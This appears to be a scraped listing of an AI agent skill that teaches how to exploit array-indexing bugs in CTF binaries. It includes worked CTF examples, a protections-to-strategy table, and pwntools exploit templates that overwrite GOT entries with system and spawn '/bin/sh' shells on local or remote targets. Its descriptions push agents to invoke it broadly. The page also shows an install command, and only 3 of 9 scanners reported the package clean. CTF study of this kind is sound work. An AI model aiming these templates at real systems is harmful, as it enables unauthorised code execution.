skills/binary-exploitation/array-indexing/SKILL.md
How to identify and exploit array indexing vulnerabilities in binary exploitation challenges. Use this skill whenever the user mentions array bounds, index manipulation, off-by-one errors, array overflows, heap corruption through arrays, or any CTF/binary challenge involving array access. This skill covers colliding arrays, size field overwrites, GOT corruption, ROP chains triggered by array bugs, and heap exploitation through index manipulation. Make sure to use this skill for any binary exploitation task involving arrays, even if the user doesn't explicitly mention "array indexing" or "bounds checking".
npx skillsauth add abelrguezr/hacktricks-skills array-indexing-exploitationInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill helps you identify and exploit array indexing vulnerabilities in binary exploitation challenges. These vulnerabilities occur when programs fail to properly validate array indices, allowing attackers to overwrite arbitrary memory locations.
Use this skill when you encounter:
Array indexing vulnerabilities happen when:
Scenario: Two parallel arrays - one stores data (addresses), one stores metadata (sizes)
Exploitation:
free in GOT)free with /bin/sh as argument)system("/bin/sh") if GOT entry was overwritten with system addressExample from SwampCTF 19 DreamHeaps:
free with system addressfree with /bin/sh → shellScenario: Array on stack with off-by-one vulnerability allows writing one byte past the end
Exploitation:
Example from SecconCTF 2019 Sum:
exit with pop rdi; retmain on stack (loops back)puts to leak addressesScenario: Heap chunks with size fields that can be overwritten through array indexing
Exploitation:
Example from CSAW 18 DoubleTrouble:
ret addressScenario: Array indexing allows reading/writing stack data including addresses
Exploitation:
system("/bin/sh")Example from TU Guestbook:
Locate array operations in the binary:
array[index], ptr[index]index comes from user inputDetermine array location:
malloc, calloc, new callsIdentify what's adjacent:
Check for:
Based on protections and vulnerability type:
| Protections | Strategy | |-------------|----------| | No NX, no canary | Shellcode on stack | | NX, no canary | ROP chain or ret2lib | | Canary present | Leak canary first, then exploit | | PIE present | Leak addresses first | | Full RELRO | Cannot use GOT, use heap or ROP |
# Pseudocode for colliding array exploitation
# 1. Write address to size field
payload = struct.pack('<Q', got_entry_address) # Address to write as size
payload += struct.pack('<Q', system_address) # Address to write as data
# 2. Trigger the function
# When free() is called, it will actually call system()
# Pseudocode for off-by-one exploitation
# 1. Fill array to the edge
payload = b'A' * (array_size - 1)
# 2. Overwrite the adjacent data (e.g., pointer)
payload += struct.pack('<Q', target_address)
# 3. Trigger the use of corrupted data
# Pseudocode for size field exploitation
# 1. Overwrite size to create overflow
payload = b'A' * (offset_to_size)
payload += struct.pack('<Q', large_size)
# 2. Craft constrained shellcode
# Must be sorted, doubled, preserve canary
shellcode = create_sorted_shellcode()
# 3. Overwrite RIP
payload += shellcode
payload += struct.pack('<Q', ret_address)
If PIE or ASLR is present:
libc_base = leaked_address - libc_offsetsystem = libc_base + system_offsetfrom pwn import *
# Connect to binary
p = process('./vulnerable_binary')
# or
p = remote('target.com', 1337)
# Send data
p.sendline(payload)
p.send(payload)
# Receive data
p.recv()
p.recvline()
p.recvall()
# Pack addresses
p64(address) # 64-bit little-endian
p32(address) # 32-bit little-endian
# Calculate libc addresses
libc = ELF('./libc.so.6')
libc.address = leaked_address - libc.symbols['leaked_function']
#!/usr/bin/env python3
from pwn import *
# Configuration
context.arch = 'amd64'
context.os = 'linux'
# Connect
p = process('./vulnerable_binary')
# p = remote('target.com', 1337)
# Load binaries
elf = ELF('./vulnerable_binary')
libc = ELF('./libc.so.6')
# Find addresses
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
# Craft payload for array indexing vulnerability
# Adjust offsets based on your analysis
payload = b'A' * offset_to_array
payload += p64(got_entry_to_overwrite)
payload += p64(system)
# Send payload
p.sendline(payload)
# Trigger the vulnerability
p.sendline(trigger_input)
# Get shell
p.interactive()
Use this skill for:
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.